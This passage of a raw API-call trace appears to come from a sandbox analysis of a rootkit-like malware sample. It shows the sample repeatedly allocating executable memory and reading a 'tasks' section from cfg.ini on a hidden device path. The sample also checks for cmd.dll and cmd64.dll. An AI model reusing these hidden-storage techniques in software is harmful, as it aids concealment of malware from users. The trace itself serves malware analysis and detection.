FastMutex=0xfffffa80027d3898) [0126.473] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.473] KeLeaveCriticalRegion () [0126.473] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.473] KeEnterCriticalRegion () [0126.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.473] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.473] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.473] KeLeaveCriticalRegion () [0126.473] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.473] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.473] KeEnterCriticalRegion () [0126.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.473] ExFreePoolWithTag (P=0xfffffa8003bf4bd0, Tag=0x0) [0126.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.473] KeLeaveCriticalRegion () [0126.473] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.473] ReleaseMutex (hMutex=0xf0) returned 1 [0126.473] Sleep (dwMilliseconds=0x927c0) [0126.488] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.488] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.488] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.488] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.488] KeEnterCriticalRegion () [0126.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.488] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.488] IdePortDispatch () returned 0x103 [0126.488] KeWaitForMutexObject () returned 0x0 [0126.488] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.488] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.488] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.488] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.488] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.488] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037d9110 [0126.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.488] KeLeaveCriticalRegion () [0126.488] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.488] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.488] KeEnterCriticalRegion () [0126.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.488] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.488] KeLeaveCriticalRegion () [0126.488] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.488] KeEnterCriticalRegion () [0126.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.489] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.489] IdePortDispatch () returned 0x103 [0126.489] KeWaitForMutexObject () returned 0x0 [0126.489] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.489] KeLeaveCriticalRegion () [0126.489] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.489] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.489] KeEnterCriticalRegion () [0126.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.489] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b4000 [0126.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.489] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.489] IdePortDispatch () returned 0x103 [0126.489] KeWaitForMutexObject () returned 0x0 [0126.489] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.489] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.489] IdePortDispatch () returned 0x103 [0126.490] KeWaitForMutexObject () returned 0x0 [0126.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.490] KeLeaveCriticalRegion () [0126.490] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.490] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.490] KeEnterCriticalRegion () [0126.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.490] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.490] KeLeaveCriticalRegion () [0126.490] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.490] KeEnterCriticalRegion () [0126.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.490] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.490] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac6420, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.490] KeLeaveCriticalRegion () [0126.490] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.490] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.490] KeEnterCriticalRegion () [0126.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.491] ExFreePoolWithTag (P=0xfffffa80037d9110, Tag=0x0) [0126.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.491] KeLeaveCriticalRegion () [0126.491] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.491] ReleaseMutex (hMutex=0xf0) returned 1 [0126.491] Sleep (dwMilliseconds=0x927c0) [0126.504] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.504] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.504] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.504] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.504] KeEnterCriticalRegion () [0126.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.504] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.504] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.504] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.504] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.504] IdePortDispatch () returned 0x103 [0126.504] KeWaitForMutexObject () returned 0x0 [0126.505] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.505] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.505] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.505] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.505] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.505] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8007081bc0 [0126.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.505] KeLeaveCriticalRegion () [0126.505] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.505] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.505] KeEnterCriticalRegion () [0126.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.505] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.505] KeLeaveCriticalRegion () [0126.505] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.505] KeEnterCriticalRegion () [0126.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.505] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.505] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.505] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.505] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.505] IdePortDispatch () returned 0x103 [0126.505] KeWaitForMutexObject () returned 0x0 [0126.505] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.505] KeLeaveCriticalRegion () [0126.505] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.505] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.505] KeEnterCriticalRegion () [0126.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.505] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b9000 [0126.505] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.506] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.506] IdePortDispatch () returned 0x103 [0126.506] KeWaitForMutexObject () returned 0x0 [0126.506] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.506] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.506] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.506] IdePortDispatch () returned 0x103 [0126.506] KeWaitForMutexObject () returned 0x0 [0126.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.506] KeLeaveCriticalRegion () [0126.506] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.507] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.507] KeEnterCriticalRegion () [0126.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.507] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.507] KeLeaveCriticalRegion () [0126.507] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.507] KeEnterCriticalRegion () [0126.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.507] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.507] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.507] KeLeaveCriticalRegion () [0126.507] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.507] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.507] KeEnterCriticalRegion () [0126.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.507] ExFreePoolWithTag (P=0xfffffa8007081bc0, Tag=0x0) [0126.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.507] KeLeaveCriticalRegion () [0126.507] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.507] ReleaseMutex (hMutex=0xf0) returned 1 [0126.507] Sleep (dwMilliseconds=0x927c0) [0126.515] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.515] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.522] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.522] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.522] KeEnterCriticalRegion () [0126.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.522] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.522] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.522] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.522] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.522] IdePortDispatch () returned 0x103 [0126.522] KeWaitForMutexObject () returned 0x0 [0126.522] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.522] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.522] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.522] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.522] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.522] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac61c0 [0126.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.522] KeLeaveCriticalRegion () [0126.522] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.522] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.522] KeEnterCriticalRegion () [0126.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.522] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.522] KeLeaveCriticalRegion () [0126.522] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.523] KeEnterCriticalRegion () [0126.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.523] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.523] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.523] IdePortDispatch () returned 0x103 [0126.523] KeWaitForMutexObject () returned 0x0 [0126.523] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.523] KeLeaveCriticalRegion () [0126.523] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.523] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.523] KeEnterCriticalRegion () [0126.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.523] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e1000 [0126.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.524] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.524] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.524] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.524] IdePortDispatch () returned 0x103 [0126.524] KeWaitForMutexObject () returned 0x0 [0126.524] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.524] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.524] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.524] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.524] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.524] IdePortDispatch () returned 0x103 [0126.524] KeWaitForMutexObject () returned 0x0 [0126.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.524] KeLeaveCriticalRegion () [0126.524] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.525] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.525] KeEnterCriticalRegion () [0126.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.525] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.525] KeLeaveCriticalRegion () [0126.525] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.525] KeEnterCriticalRegion () [0126.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.525] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.525] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac62d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.525] KeLeaveCriticalRegion () [0126.525] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.525] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.525] KeEnterCriticalRegion () [0126.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.525] ExFreePoolWithTag (P=0xfffffa8003ac61c0, Tag=0x0) [0126.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.525] KeLeaveCriticalRegion () [0126.525] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.525] ReleaseMutex (hMutex=0xf0) returned 1 [0126.525] Sleep (dwMilliseconds=0x927c0) [0126.542] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.542] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.542] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.542] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.542] KeEnterCriticalRegion () [0126.542] ExAcquireFastMutexUnsafe (in: 